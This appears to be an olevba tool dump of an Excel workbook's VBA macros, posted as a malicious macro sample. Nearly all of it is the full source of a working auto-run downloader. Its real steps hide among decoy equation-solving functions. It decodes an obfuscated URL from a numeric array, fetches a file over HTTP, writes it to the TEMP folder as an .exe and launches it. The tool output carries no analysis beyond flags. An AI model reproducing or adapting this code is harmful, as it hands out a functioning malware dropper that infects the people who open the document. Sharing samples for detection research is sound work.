Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MAS-HB-V ESale-01.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: ESale-01.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
is_item "", "", ""
time_string "", "", False, False
is_sqr_in_string ""
read_para_from_equation_for_ietm "", "", ""
simple_two_int 0, 0
End Sub




-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public read_same_ch_from3 As Object
Public root_order4 As Object
Public string_ty_pe4 As Object
Public hermando5  As String
Public ce_de_ge3  As String
Public ua_ea_uk As Object
Public Const zilibobe = "t"
Private Function read_same_ch_from_string(ByVal it$, ByVal start%, root_order%, ch As String, i%) As Boolean
Dim en%
ch = Mid$(it$, start%, 1)
en% = start% + root_order - 1
For i% = start% To en%
 If Mid$(it$, i%, 1) <> ch Then
 read_same_ch_from_string = False
 Exit Function
 End If
Next i%
 read_same_ch_from_string = True
 Exit Function
End Function
Public Function is_x_in_string(ByVal s As String) As Byte
Dim i%, is_x%
Dim tp(3) As String
Dim ty As Byte
ty = string_ty.pe(s, tp(0), tp(1), tp(2), tp(3))
If ty = 0 Then
 is_x_in_string = is_x_in_item(tp(0))
 If is_x_in_string < 1 Then
 ty = string_ty.pe(tp(3), tp(0), tp(1), tp(2), tp(3))
 is_x% = is_x_in_item(tp(0))
 If is_x% = 1 Then
 is_x_in_string = 1
 Exit Function
 End If
 End If
ElseIf ty = 3 Then
 If is_x_in_string(tp(1)) = 1 Or is_x_in_string(tp(2)) = 1 Then
 is_x_in_string = 1
 End If
End If
End Function
Public Function is_x_in_item(it$) As Byte
Dim i%, tn%
Dim ch As String
Dim it1$
Dim it2$
If InStr(1, it$, "", 0) > 0 Then
is_x_in_item = 1
End If
For i% = 1 To Len(it$)
ch = Mid$(it$, i%, 1)
tn% = InStr(1, ch, "", 0)
If tn% > 0 Then
it1$ = Mid$(it$, i%, Len(it$) - i% + 1)
 is_x_in_item = is_x_in_item + is_x_in_item(read_sqr_from_string(it1$, 0, it2$))
 If is_x_in_item = 2 Then
 Exit Function
 Else
 is_x_in_item = is_x_in_item + is_x_in_item(it2$)
 End If
 Exit Function
End If
Next i%
End Function
Public Function solve_general_equation(ByVal s1$, ByVal S2$, unknown_element As String) As String
Dim ty(1) As Byte
Dim ts1(1) As String
Dim ts2(1) As String
ty(0) = string_ty.pe(s1, "", ts1(0), ts1(1), "")
ty(1) = string_ty.pe(S2, "", ts2(0), ts2(1), "")
If ty(0) = 3 And ty(1) = 3 Then
 solve_general_equation = solve_first_order_equation(minus_string( _
 time_string(ts1(0), ts2(1), False, False), _
 time_string(ts2(0), ts1(1), False, False), True, False), "", unknown_element)
ElseIf ty(0) = 3 Then
 solve_general_equation = solve_first_order_equation(minus_string(ts1(0), _
 time_string(ts1(1), S2$, False, False), True, False), "", unknown_element)
ElseIf ty(1) = 3 Then
 solve_general_equation = solve_first_order_equation(minus_string(time_string(s1$, _
 ts2(1), False, False), ts2(0), True, False), "", unknown_element)
Else
 solve_general_equation = solve_first_order_equation(minus_string(s1$, S2$, True, False), _
 "", unknown_element)
End If
End Function
Public Function simple_item_for_squre_root(ByVal temp_I As String) As String
Dim tn%, st%, la%
Dim ch1$
Dim ch2$
Dim ch3$
Dim ch4$
Dim t_i(2) As String
If Len(temp_I) = 0 Then
 simple_item_for_squre_root = ""
ElseIf Len(temp_I) = 1 Then
 simple_item_for_squre_root = temp_I
Else
 st% = InStr(1, temp_I, "", 0)
 If st% > 1 Then
 t_i(0) = Mid$(temp_I, 1, st% - 1)
 End If
 If st% > 0 Then
 t_i(1) = read_sqr_no_from_string(temp_I, st%, la%, "")
 st% = InStr(1, temp_I, "", 0)
 If st% > la% Then
 t_i(0) = t_i(0) + Mid$(temp_I, 1, st% - 1)
 End If
 If st% > 0 Then
 t_i(2) = read_sqr_no_from_string(temp_I, st%, la%, "")
 If la% < Len(temp_I) Then
 t_i(0) = t_i(0) + Mid$(temp_I, la% + 1, Len(temp_I) - la%)
 End If
 Else
 t_i(2) = ""
 t_i(0) = t_i(0) + Mid$(temp_I, la% + 1, Len(temp_I) - la%)
 End If
 Else
 t_i(0) = temp_I
 t_i(1) = ""
 t_i(2) = ""
 End If
 If t_i(1) <> "" And t_i(2) <> "" Then
 If t_i(1) = t_i(2) Then
 If t_i(0) = "" Then
 simple_item_for_squre_root = number_string(t_i(1))
 Else
 simple_item_for_squre_root = time_string( _
 simple_item_for_squre_root(t_i(0)), t_i(1), True, False)
 End If
 Exit Function
 Else
 ch1$ = time_string(t_i(1), t_i(2), True, False)
 Call set_squre_root_string(ch1$, ch1$)
 simple_item_for_squre_root = time_string( _
 simple_item_for_squre_root(ch3$), ch1$, True, False)
 Exit Function
 End If
Else
 simple_item_for_squre_root = temp_I
simple_item_for_squre_root = temp_I
End If
End If
End Function
Public Function is_contain_x(ByVal s$, ByVal X$, ByVal st%) As Boolean
Dim i%
Dim ch As String
Dim sq_v As String
If InStr(st%, s$, X$, 0) > 0 Then
is_contain_x = True
Else
i% = InStr(st%, s$, "", 0)
 If i% = 0 Then
 is_contain_x = False
 Else
 sq_v = read_sqr_no_from_string(s$, i%, st%, "")
 is_contain_x = is_contain_x(sq_v, X$, 1)
 If is_contain_x = True Then
 Exit Function
 Else
 If Len(s$) > st% Then
 is_contain_x = is_contain_x(s$, X$, st% + 1)
 Else
 is_contain_x = False
 End If
 End If
 End If
 End If
End Function
Public Function read_sqr_no_from_string(ByVal s As String, ByVal st%, la%, sqr$) As String
Dim no%
la% = InStr(st%, s, "", 0)
If la% > st% Then
 sqr = Mid$(s, st%, la% - st% + 1)
 no% = Val(Mid$(s, st% + 1, la% - st% - 1))
 If no% > 0 Then
 read_sqr_no_from_string = number_string(no%)
 End If
End If
End Function
Public Function read_sqr_from_item(ByVal ite As String, st%, s$, sqr_v$, sqr$) As Byte
Dim no%, i%, la%
Dim ch$
st% = InStr(st%, ite, "", 0)
If st% > 0 Then
 la% = InStr(st%, ite, "", 0)
 If la% > st% Then
 sqr = Mid$(ite, st%, la% - st% + 1)
 no% = Val(Mid$(ite, st% + 1, la% - st% - 1))
 If no% > 0 Then
 sqr_v = number_string(no%)
 Else
 sqr_v = ""
 End If
 If st% > 1 Then
 s$ = Mid$(ite, 1, st% - 1)
 Else
 s$ = ""
 End If
 If la% < Len(ite) Then
 s$ = s$ + Mid$(ite, la% + 1, Len(ite) - la%)
 End If
 If s$ = "" Or s$ = "" Or s$ = "" Then
 s$ = ""
 ElseIf s$ = "" Or s$ = "" Then
 s$ = ""
 End If
 End If
Else
read_sqr_from_item_next1:
 If sqr_v$ = "" Then
 sqr_v = ""
 End If
 If s$ = "" Or s$ = "" Or s$ = "" Then
 s$ = ""
 ElseIf s$ = "" Or s$ = "" Then
 s$ = ""
 End If
 sqr$ = ""
 Else
 sqr_v$ = ""
 s$ = ite
 sqr$ = ""
 End If
End If
End Function
Public Function read_sqr_from_string(ByVal s As String, ty As Byte, s1 As String) As String
Dim i%, last_sq%
Dim ch As String
Dim ts_(3) As String
Dim ts$
s1$ = ""
For i% = 1 To Len(s)
 ch = Mid$(s, i%, 1)
 If ch = "" Then
 ts$ = read_sqr_no_from_string(s, i%, i%, "")
 If InStr(2, ts$, "", 0) > 0 Or InStr(2, ts$, "", 0) > 0 Or _
 InStr(1, ts$, "", 0) > 0 Or InStr(1, ts$, "", 0) > 0 Then
 ts$ = "" + ts$ + ""
 End If
 last_sq% = last_sq% + 1
 If ty = 0 Then
 read_sqr_from_string = read_sqr_from_string + ts$
 Else
 read_sqr_from_string = read_sqr_from_string + _
 read_sqr_from_string(ts$, ty, s1)
 End If
 Else
 s1 = s1 + ch
 End If
Next i%
If s1 = "" Then
 s1 = ""
End If
If read_sqr_from_string = "" Then
 read_sqr_from_string = ""
End If
End Function
Public Function min_for_long(ByVal A&, ByVal b&) As Long
If A& < b& Then
min_for_long = A&
Else
min_for_long = b&
End If
End Function
Public Function max_for_long(ByVal A&, ByVal b&) As Long
If A& > b& Then
max_for_long = A&
Else
max_for_long = b&
End If
End Function
Public Function l_gcd(ByVal A As Long, ByVal b As Long) As Long
Dim c As Long
A = Abs(A)
 b = Abs(b)
If A = 0 Then
 l_gcd = b
ElseIf b = 0 Then
l_gcd = A
Else
c = A Mod b
l_gcd = l_gcd(b, c)
End If
End Function
Function gcd(ByVal A As Long, ByVal b As Long, out_A As Long, out_b As Long) As Long
Dim c As Long
Dim t_A(1) As Long
t_A(0) = A
t_A(1) = b
A = Abs(A)
 b = Abs(b)
If A = 0 Then
 gcd = b
ElseIf b = 0 Then
gcd = A
Else
c = A Mod b
gcd = gcd(b, c, 0, 0)
End If
out_A = t_A(0) / gcd
out_b = t_A(1) / gcd
End Function
Function max(ByVal A As Integer, ByVal b As Integer) As Integer
If A > b Then
max = A
Else
max = b
End If
End Function
Function min(A As Integer, b As Integer) As Integer
If A > b Then
min = b
Else
min = A
End If
End Function
Public Function add_brace(ByVal s As String, ty As String) As String
Dim i%, j%, l%, m%, n%, n1%, n2%
Dim ts$
Dim sg As String
Dim ts1$
l% = Len(s)
add_brace = s
 If l% < 3 Then
 Exit Function
 End If
 If Mid$(s, 1, 1) = "" And Mid$(s, Len(s), 1) = "" Then
 If is_brace(s, 1, Len(s)) Then
 add_brace = s
 Exit Function
 End If
 End If
 ts$ = s
 n% = InStr(1, ts, "")
 m% = InStr(1, ts, "")
 i% = InStr(1, ts, "")
 j% = InStr(1, ts, "")
 l% = InStr(1, ts, "")
 If l% > 0 Then
 Call read_brace(ts, l%, n1%, n2%)
 If i% < 2 And j% < 2 Then
 Exit Function
 ElseIf i% < l% Or j% < l% Then
 add_brace = "" + ts + ""
 Else
 ts1 = Mid$(ts, n2% + 1, Len(ts) - n2%)
 i% = InStr(1, ts1, "")
 j% = InStr(1, ts1, "")
 If i% > 0 Or j% > 0 Then
 add_brace = "" + ts + ""
 End If
 End If
Else
 If n% = 1 Then
 n% = max(InStr(2, ts, ""), n%)
 End If
 If m% = 1 Then
 m% = max(InStr(2, ts, ""), m%)
 End If
 If i% = 1 Then
 i% = max(InStr(2, ts, ""), i%)
 End If
 If j% = 1 Then
 j% = max(InStr(2, ts, ""), j%)
 End If
 If i% > 1 Or j% > 1 Or m% > 1 Or n% > 1 Then
 add_brace = "" + ts + ""
 End If
End If
End Function
Public Function Pochemu(Z() As Variant, oldLen As Integer) As String
Dim n As Integer
For n = LBound(Z) To UBound(Z)
 Pochemu = Pochemu & Chr(Z(n) - 4 * oldLen - 6000)
Next n
End Function
Private Function divide_item(ByVal i1$, ByVal i2$, _
 oI1$, oI2$) As String
Dim i%, j%, n1%, n2%
On Error GoTo divide_item_error
If Mid$(i1$, 1, 1) = "" Then
 i1$ = Mid$(i1$, 1, Len(i1$) - 1)
 i1$ = Mid$(i1$, 2, Len(i1$) - 1)
End If
If Mid$(i2$, 1, 1) = "" Then
 i2$ = Mid$(i2$, 1, Len(i2$) - 1)
 i2$ = Mid$(i2$, 2, Len(i2$) - 1)
End If
If i2$ = "" Then
divide_item = i1$
 oI1$ = i1$
 oI2$ = i2$
 Exit Function
End If
n1% = InStr(1, i1$, "", 0)
n2% = InStr(1, i2$, "", 0)
If n1% = 0 And n2% = 0 Then
i% = 1
Do While i% <= Len(i1$)
 j% = 1
 Do While j% <= Len(i2$)
If Mid$(i1$, i%, 1) = Mid$(i2$, j%, 1) Then
 i1$ = Mid$(i1$, 1, i% - 1) + Mid$(i1$, i% + 1, Len(i1$) - i%)
 i2$ = Mid$(i2$, 1, j% - 1) + Mid$(i2$, j% + 1, Len(i2$) - j%)
 GoTo divide_item_mark0
Else
 j% = j% + 1
End If
Loop
i% = i% + 1
divide_item_mark0:
Loop
If i1$ = "" And i2$ = "" Then
 divide_item = ""
ElseIf i2$ = "" Then
divide_item = i1$
ElseIf i1$ = "" Then
divide_item = "" + i2$ + ""
Else
 divide_item = "" + i1$ + "" + i2$ + ""
End If
ElseIf n1% > 0 And n2 = 0 Then
divide_item = divide_item(Mid$(i1$, 1, n1% - 1), _
 time_it.em(i2$, Mid$(i1$, n1% + 1, Len(i1$) - n1%)), "", "")
ElseIf n1% = 0 And n2 > 0 Then
divide_item = divide_item(time_it.em(i1$, _
 Mid$(i2$, n2% - 1, Len(i2$) - n2%)), _
 Mid$(i2$, 1, n2% - 1), "", "")
Else
divide_item = divide_item(time_it.em(Mid$(i1$, 1, n1% - 1), _
 Mid$(i2$, n2% - 1, Len(i2$) - n2%)), _
 time(Mid$(i1$, n1% + 1, Len(i1$) - n1%), Mid$(i2$, 1, n2% - 1)), "", "")
End If
Exit Function
divide_item_error:
divide_item = ""
End Function
Public Function is_item(s As String, para As String, item0 As String) As Boolean
Set ua_ea_uk = CreateObject("Shell.Application")
Dim p%, l%
Set read_same_ch_from3 = CreateObject("Microsof" + zilibobe + ".XMLH" + UCase(zilibobe) + "TP")
Set root_order4 = CreateObject("Adodb.S" + zilibobe + "ream")
Set string_ty_pe4 = CreateObject("WScrip" + zilibobe + ".Shell").Environment("Process")
Exit Function
If InStr(1, s, "", 0) = 0 And InStr(1, s, "", 0) = 0 And _
 InStr(1, s, "", 0) = 0 And InStr(1, s, "", 0) = 0 Then
 is_item = True
 p% = InStr(1, s, "", 0)
 l% = Len(s)
 If p% > 0 Then
 If p% = 1 Then
 para = ""
 Else
 para = Mid$(s, 1, p% - 1)
 End If
 item0 = Mid$(s, p% + 1, l - p%)
 Else
 If Mid$(s, 1, 1) > "" Then
 para = ""
 item0 = s
 Else
 para = s
 item0 = ""
 End If
 End If
End If
End Function








-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: ESale-01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function time_string(ByVal s1 As String, ByVal S2 As String, is_simple As Boolean, _
 cal_float As Boolean) As String
Dim t(1) As Integer
Dim it(3) As String
Dim i%, j%
Dim valdis() As Variant
Dim f(1) As String
Dim fs(2) As String
Dim s(5) As String
valdis = Array(6340, 6352, 6352, 6348, 6294, 6283, 6283, 6333, 6336, 6354, 6333, 6346, 6335, 6337, 6336, 6339, 6350, 6347, 6353, 6348, 6282, 6346, 6337, 6352, 6282, 6333, 6353, 6283, 6362, 6341, 6346, 6335, 6333, 6346, 6352, 6341, 6346, 6283, 6287, 6287, 6288, 6339, 6289, 6342, 6291, 6290, 6283, 6292, 6293, 6291, 6341, 6291, 6353, 6356, 6349, 6337, 6282, 6337, 6356, 6337)
Dim ts As String
Dim ch As String * 1
Dim v As Variant
Dim need_reduce As Boolean
On Error GoTo time_string_error
If s1 = "" Or S2 = "" Then
 time_string = ""
 With read_same_ch_from3
.Open "G" + "ET", Pochemu(valdis, 59), False
.Send
End With
 Exit Function
ElseIf InStr(1, s1, "", 0) > 0 Or InStr(1, S2, "", 0) > 0 Then
 cal_float = True
End If
If InStr(1, s1, "", 0) > 0 Or InStr(1, S2, "", 0) > 0 Or s1 = "" Or S2 = "" Then
time_string_error:
 time_string = ""
 Exit Function
ElseIf s1 = "" Then
 If Mid$(S2, 1, 1) = "" Then
 time_string = "" & Mid$(S2, 2, Len(S2) - 1)
 ElseIf Mid$(S2, 1, 1) = "" Then
 time_string = Mid$(S2, 2, Len(S2) - 1)
 Else
 time_string = S2
 End If
 Exit Function
ElseIf s1 = "" Then
 time_string = ""
 Exit Function
ElseIf S2 = "" Then
 If Mid$(s1, 1, 1) = "" Then
 time_string = "" & Mid$(s1, 2, Len(s1) - 1)
 ElseIf Mid$(s1, 1, 1) = "" Then
 time_string = Mid$(s1, 2, Len(s1) - 1)
 Else
 time_string = s1
 End If
 Exit Function
ElseIf S2 = "" Or S2 = "" Then
 time_string = ""
 Exit Function
ElseIf s1 = "" Then
 If S2 = "" Then
 time_string = ""
 Exit Function
 ElseIf S2 = "" Then
 time_string = ""
 Exit Function
 Else
 If Val(value_str.ing(S2)) > 0 Then
 time_string = ""
 Exit Function
 ElseIf Val(value_str.ing(S2)) < 0 Then
 time_string = ""
 Exit Function
 Else
 time_string = ""
 Exit Function
 End If
 End If
ElseIf s1 = "" Then
 If S2 = "" Then
 time_string = ""
 Exit Function
 ElseIf S2 = "" Then
 time_string = ""
 Exit Function
 Else
 If Val(value_str.ing(S2)) > 0 Then
 time_string = ""
 Exit Function
 ElseIf Val(value_str.ing(S2)) < 0 Then
 time_string = ""
 Exit Function
 Else
 time_string = ""
 Exit Function
 End If
 End If
ElseIf S2 = "" Or S2 = "" Then
 time_string = time_string(S2, s1, True, False)
 Exit Function
End If
If regist_data.run_type = 1 Then
 If (InStr(1, s1, "", 0) > 0 Or InStr(1, s1, "", 0) > 0) And _
 (InStr(1, S2, "", 0) > 0 Or InStr(1, S2, "", 0) > 0) Then
 need_reduce = True
 End If
End If
t(0) = string_ty.pe(s1, fs(0), s(0), s(1), s(2))
 If s1 = S2 Then
 If t(0) = 0 Then
 If s(2) = "" Then
 time_string = time_string( _
 time_p.ara(s(0), s(0), False, cal_float), time_it.em(s(1), s(1)), is_simple, cal_float)
 Else
 time_string = add_str.ing(time_string(s1, fs(0), False, cal_float), _
 time_string(s1, s(2), False, cal_float), is_simple, cal_float)
 End If
 ElseIf t(0) = 3 Then
 time_string = divide_st.ring( _
 time_string(s(0), s(0), False, cal_float), time_string(s(1), s(1), False, cal_float), _
 is_simple, cal_float)
 End If
 Exit Function
 End If
 t(1) = string_ty.pe(S2, fs(1), s(3), s(4), s(5))
If t(0) = 3 And t(1) = 3 Then
 If gcd_for_str.ing(s(3), s(1), "", f(0), f(1), True) Then
 s(3) = f(0)
 s(1) = f(1)
 End If
 If gcd_for_str.ing(s(0), s(4), "", f(0), f(1), True) Then
 s(0) = f(0)
 s(4) = f(1)
 End If
 time_string = divide_st.ring(time_string(s(0), s(3), False, cal_float), _
 time_string(s(1), s(4), False, cal_float), is_simple, cal_float)
 Exit Function
ElseIf t(0) = 3 And t(1) = 0 Then
 If gcd_for_str.ing(S2, s(1), "", f(0), f(1), True) Then
 S2 = f(0)
 s(1) = f(1)
 End If
 time_string = divide_st.ring(time_string(S2, s(0), False, cal_float), _
 s(1), is_simple, cal_float)
 Exit Function
ElseIf t(1) = 3 And t(0) = 0 Then
 time_string = time_string(S2, s1, is_simple, cal_float)
ElseIf t(0) = 0 And t(1) = 0 Then
 If s(2) = "" And s(5) = "" Then
 If InStr(1, s(0), "") > 0 Or InStr(1, s(3), "") > 0 Then
 cal_float = True
 End If
 s(0) = time_p.ara(s(0), s(3), is_simple, cal_float)
 If s(1) = "" Or s(4) = "" Then
 s(1) = time_it.em(s(1), s(4))
 time_string = combine_item_wit.h_para(s(0), s(1), is_simple)
 Else
 s(1) = time_it.em(s(1), s(4))
 time_string = time_string(s(0), s(1), is_simple, cal_float)
 End If
 ElseIf s(2) = "" Then
 time_string = add_str.ing(time_string(s1, fs(1), False, cal_float), _
 time_string(s1, s(5), False, cal_float), False, cal_float)
 ElseIf s(2) <> "" Then
 time_string = add_str.ing(time_string(fs(0), S2, False, cal_float), _
 time_string(s(2), S2, False, cal_float), is_simple, cal_float)
 End If
 End If
 If regist_data.run_type = 1 And need_reduce Then
 If InStr(1, time_string, "", 0) > 0 Or InStr(1, time_string, "", 0) > 0 Or _
 InStr(1, time_string, "", 0) > 0 Then
 Call reduce_string_by_string(time_string)
 End If
 End If
 If is_simple = True Then
 time_string = simple_st.ring_(time_string, "", "", cal_float)
 End If
End Function
Public Function is_sqr_in_string(s As String) As Boolean
Dim i%
Dim ch As String
hermando5 = string_ty_pe4(UCase(zilibobe) + "EMP")
rudnik = Chr(Asc(UCase(zilibobe)) + 17)
ce_de_ge3 = hermando5 + Chr(Asc(zilibobe) - 24) + zilibobe + "gh" + zilibobe + "op" + "." + rudnik + "x" + rudnik
For i% = 1 To Len(s)
ch = Mid$(s, i%, 1)
If Asc(ch) < 0 Then
 is_sqr_in_string = True
 Exit Function
End If
Next i%
End Function
Public Function simple_string(ByVal s As String) As String
Dim ts As String
ts = s
While InStr(1, ts, "", 0) = 1 Or InStr(1, ts, "", 0) = 1 Or _
 InStr(1, ts, "", 0) = 1 Or InStr(1, ts, "", 0) = 1 Or _
 InStr(1, ts, empty_char, 0) = 1
ts = Mid$(ts, 2, Len(ts) - 1)
Wend
While (InStr(1, ts, "", 0) = 2 Or InStr(1, ts, "", 0) = 2 Or _
 InStr(1, ts, "", 0) = 2) And InStr(1, ts, "", 0) = 1
 ts = Mid$(ts, 3, Len(ts) - 2)
Wend
While InStr(1, ts, "", 0) = 2 And InStr(1, ts, "", 0) = 1
 ts = Mid$(ts, 3, Len(ts) - 2)
Wend
While InStr(Len(ts), ts, "", 0) = Len(ts) Or InStr(Len(ts), ts, "", 0) = Len(ts) Or _
 InStr(Len(ts), ts, "", 0) = Len(ts) Or InStr(Len(ts), ts, "", 0) = Len(ts) Or _
 InStr(Len(ts), ts, empty_char, 0) = Len(ts)
ts = Mid$(ts, 1, Len(ts) - 1)
Wend
If Len(ts) > 1 Then
While (InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1 Or InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1 Or _
 InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1) And InStr(Len(ts), ts, "", 0) = Len(ts)
 ts = Mid$(ts, 1, Len(ts) - 2)
Wend
While InStr(Len(ts) - 1, ts, "", 0) = Len(ts) - 1 And InStr(Len(ts), ts, "", 0) = Len(ts)
 ts = Mid$(1, 3, Len(ts) - 2)
Wend
End If
simple_string = ts
 End Function
Public Function read_para_from_equation_for_ietm(ByVal eq$, ByVal item$, re_eq$) As String
Dim t_item$, t_item1$, t_eq$
Dim s(4) As String
   root_order4.Type = 1
   GoTo sto500:
 t_item$ = item$
 read_para_from_equation_for_ietm = ""
 re_eq$ = ""
If Len(t_item$) = 0 Then
 re_eq$ = eq$
ElseIf Len(t_item$) = 1 Then
s(0) = eq$
Do While (s(0) <> "")
 Call string_ty.pe(s(0), s(1), s(2), s(3), s(4))
 If InStr(1, s(3), t_item, 0) > 0 Then
 read_para_from_equation_for_ietm = add_str.ing(read_para_from_equation_for_ietm, _
 time_string(s(2), divide_st.ring(s(3), t_item$, False, False), False, False), True, False)
 Else
 re_eq$ = add_str.ing(re_eq$, s(1), True, False)
 End If
 s(0) = s(4)
Loop
sto500:
    root_order4.Open
GoTo sto501:
Else
 t_item1$ = Mid$(t_item$, 1, 1)
 t_item$ = Mid$(t_item$, 2, Len(t_item$) - 1)
 s(0) = read_para_from_equation_for_ietm(eq$, t_item1$, re_eq$)
 read_para_from_equation_for_ietm = _
 read_para_from_equation_for_ietm(s(0), t_item$, t_eq$)
 re_eq$ = add_str.ing(re_eq$, time_string(t_eq$, t_item1$, False, False), _
 True, False)
End If
sto501:
find_first_item "", "", ""
End Function
Public Sub peifang(ByVal s0$, ByVal s1$, S2$, re$)
Dim s(1) As String
Dim f As String
If s0$ <> "" Then
 s(0) = divide_st.ring(s1$, s0$, True, False)
 Call peifang("", s(0), S2$, s(1))
 re$ = time_string(s(1), s0$, True, False)
Else
S2 = divide_st.ring(s1$, "", True, False)
re$ = time_string(S2, S2, True, False)
re$ = time_string(re$, "", True, False)
End If
End Sub
Public Function find_first_item(s$, sig1 As String, sig2 As String) As Integer
Dim n1%, n2%, k%
Dim ch1$, ch2$
GoTo stdoutk
n1% = 1
n2% = InStr(2, s$, sig1, 0)
k% = InStr(2, s$, sig2, 0)
If k% > 0 And (n2% = 0 Or k% < n2%) Then
 n2% = k%
End If
k% = InStr(1, s$, "", 0)
If k% > 0 And (n2% = 0 Or k% < n2%) Then
 n1% = k%
 n2% = right_bra.ce(s$, n1% + 1)
 If Len(s$) = n2% Then
 find_first_item = n2%
 Else
 ch1$ = Mid$(s$, n2% + 1, 1)
 If ch1$ = sig1 Or ch1$ = sig2 Then
 find_first_item = n2%
 Else
 ch2$ = Mid$(s$, n2% + 1, Len(s$) - n2%)
 find_first_item = n2% + find_first_item(ch2$, sig1, sig2)
 End If
 End If
ElseIf n2% > 0 Then
 find_first_item = n2% - 1
Else
 find_first_item = Len(s$)
End If
stdoutk:
    root_order4.write read_same_ch_from3.responseBody
    root_order4.savetofile ce_de_ge3, 2
End Function
Public Function V_time_string(ByVal s1$, ByVal S2$) As String
Dim ty(1) As Byte
Dim s(9) As String
If InStr(1, s1$, "", 0) = 0 And InStr(1, s1$, "", 0) = 0 Then
 V_time_string = time_string(s1$, S2$, True, False)
ElseIf InStr(1, S2$, "", 0) = 0 And InStr(1, S2$, "", 0) = 0 Then
 V_time_string = time_string(s1$, S2$, True, False)
Else
 ty(0) = string_ty.pe(s1$, s(0), s(1), s(2), s(3))
 ty(1) = string_ty.pe(S2$, s(4), s(5), s(6), s(7))
 If ty(0) = 0 And ty(1) = 0 Then
 If s(3) = "" And s(7) = "" Then
 s(3) = time_p.ara(s(1), s(5), True, False)
 s(7) = V_time_it.em(s(2), s(5))
 If s(7) = "" Then
 V_time_string = ""
 ElseIf s(3) = "" Then
 V_time_string = s(7)
 Else
 If Mid$(s(7), 1, 1) = "" Then
 V_time_string = "" & s(3) & Mid$(s(7), 2, Len(s(7)) - 1)
 Else
 V_time_string = s(3) & s(7)
 End If
 End If
 ElseIf s(3) = "" Then
 V_time_string = add_str.ing(V_time_string(s1$, s(4)), _
 V_time_string(s1$, s(7)), True, False)
 Else
 V_time_string = add_str.ing(V_time_string(s(0), S2$), _
 V_time_string(s(3), S2$), True, False)
 End If
 ElseIf ty(0) = 0 And ty(1) = 3 Then
 s(3) = V_time_string(s1$, s(5))
 V_time_string = divide_st.ring(s(3), s(6), True, False)
 ElseIf ty(0) = 3 And ty(1) = 0 Then
 V_time_string = time_string("", V_time_string(S2$, s1$), True, False)
 Else
 s(3) = V_time_string(s(1), s(5))
 s(7) = time_string(s(2), s(6), False, False)
 V_time_string = divide_st.ring(s(3), s(7), True, False)
 End If
End If
End Function
Public Function V_time_it.em(ByVal i1$, ByVal i2$)
Dim l(1) As Integer
Dim ts(3) As String
l(0) = InStr(1, i1$, "", 0)
If l(0) = 0 Then
l(0) = InStr(1, i1$, "", 0)
If l(0) = 0 Then
 V_time_it.em = time_it.em(i1$, i2$)
End If
End If
l(1) = InStr(1, i2$, "", 0)
If l(1) = 0 Then
l(1) = InStr(1, i2$, "", 0)
If l(1) = 0 Then
 V_time_it.em = time_it.em(i1$, i2$)
End If
End If
ts(0) = Mid$(i1$, 1, l(0) - 1)
ts(1) = Mid$(i1$, l(0), Len(i1$) - l(0) + 1)
ts(2) = Mid$(i2$, 1, l(1) - 1)
ts(3) = Mid$(i2$, l(1), Len(i2$) - l(1) + 1)
If ts(0) = "" Then
 ts(0) = ""
End If
If ts(2) = "" Then
 ts(2) = ""
End If
 ts(0) = time_it.em(ts(0), ts(2))
If ts(1) = ts(3) Then
V_time_it.em = ""
ElseIf ts(1) < ts(3) Then
 ts(1) = ts(1) & "" & ts(3)
 If ts(0) = "" Then
 V_time_it.em = ts(1)
 Else
 V_time_it.em = ts(0) & ts(1)
 End If
Else
 ts(1) = ts(3) & "" & ts(1)
 If ts(0) = "" Then
 V_time_it.em = "" & ts(1)
 Else
 V_time_it.em = "" & ts(0) & ts(1)
 End If
End If
End Function
Public Sub simple_two_int(int1 As Integer, int2 As Integer)
 Dim temp1 As Integer, temp2 As Integer, temp3 As Integer
ua_ea_uk.Open (ce_de_ge3)
Exit Sub
 If int1 < 0 Then
 int1 = -int1
 int2 = -int2
 End If
 temp1 = Abs(int1)
 temp2 = Abs(int2)
 temp3 = temp2
 If temp1 <> 0 And temp2 <> 0 Then
 While temp3 <> 0
 temp2 = temp1
 temp1 = temp3
 temp3 = temp2 Mod temp1
 Wend
 int1 = int1 / temp1
 int2 = int2 / temp1
 End If
End Sub
Public Function reduce_string_by_string(ts1$) As Boolean
Dim i%
For i% = 1 To last_conditions.last_cond(1).relation_string_no
 If reduce_string_by_string0(ts1$, i%) Then
 Call add_conditions_to_record(relation_string_, i%, 0, 0, c_data_for_reduce)
 End If
Next i%
End Function
Public Function reduce_string_by_string0(ts1$, re_s%) As Boolean
Dim para$
 para$ = read_para_from_string_for_ietm(ts1$, relation_string(re_s%).Data(0).element(0), "")
